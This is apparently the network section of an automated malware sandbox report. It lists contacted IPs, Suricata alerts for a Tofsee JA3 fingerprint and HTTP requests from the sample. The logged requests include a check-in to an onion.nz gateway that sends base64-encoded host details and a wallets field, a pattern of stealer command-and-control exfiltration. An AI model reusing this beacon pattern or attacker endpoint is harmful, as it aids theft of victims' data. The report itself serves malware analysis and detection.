NetWork | ZeroBOX

Network Analysis

IP Address Status Action
104.21.19.150 Active Moloch
164.124.101.2 Active Moloch
172.67.186.198 Active Moloch
208.95.112.1 Active Moloch
GET 302 https://eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion.nz/clp/7c418373ff8d4e30b27ec3685695bf8a?install=1&wallets=&user=dGVzdDIy&comp=VEVTVDIyLVBD&ip=MTc1LjIwOC4xMzQuMTUy&country=U291dGggS29yZWE%3D&city=U29uZ3BhLWd1
REQUEST
RESPONSE
GET 500 https://onion.nz/onion-site-connection-error/
REQUEST
RESPONSE
GET 200 http://ip-api.com/line?fields=query,country,city
REQUEST
RESPONSE
GET 301 http://eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion.nz/clp/7c418373ff8d4e30b27ec3685695bf8a?install=1&wallets=&user=dGVzdDIy&comp=VEVTVDIyLVBD&ip=MTc1LjIwOC4xMzQuMTUy&country=U291dGggS29yZWE%3D&city=U29uZ3BhLWd1
REQUEST
RESPONSE

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49165 -> 172.67.186.198:443 906200022 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49161 -> 208.95.112.1:80 2022082 ET POLICY External IP Lookup ip-api.com Device Retrieving External IP Address Detected
TCP 192.168.56.102:49167 -> 104.21.19.150:443 906200022 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49164 -> 172.67.186.198:443 906200022 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLS 1.2
192.168.56.102:49165
172.67.186.198:443
None None None
TLS 1.2
192.168.56.102:49167
104.21.19.150:443
C=US, O=Google Trust Services LLC, CN=GTS CA 1P5 CN=onion.nz 70:fa:ea:d9:ee:dd:cf:50:60:c4:80:dc:da:8d:3d:7f:e3:55:3a:b1
TLS 1.2
192.168.56.102:49164
172.67.186.198:443
C=US, O=Google Trust Services LLC, CN=GTS CA 1P5 CN=onion.nz 70:fa:ea:d9:ee:dd:cf:50:60:c4:80:dc:da:8d:3d:7f:e3:55:3a:b1

Snort Alerts

No Snort Alerts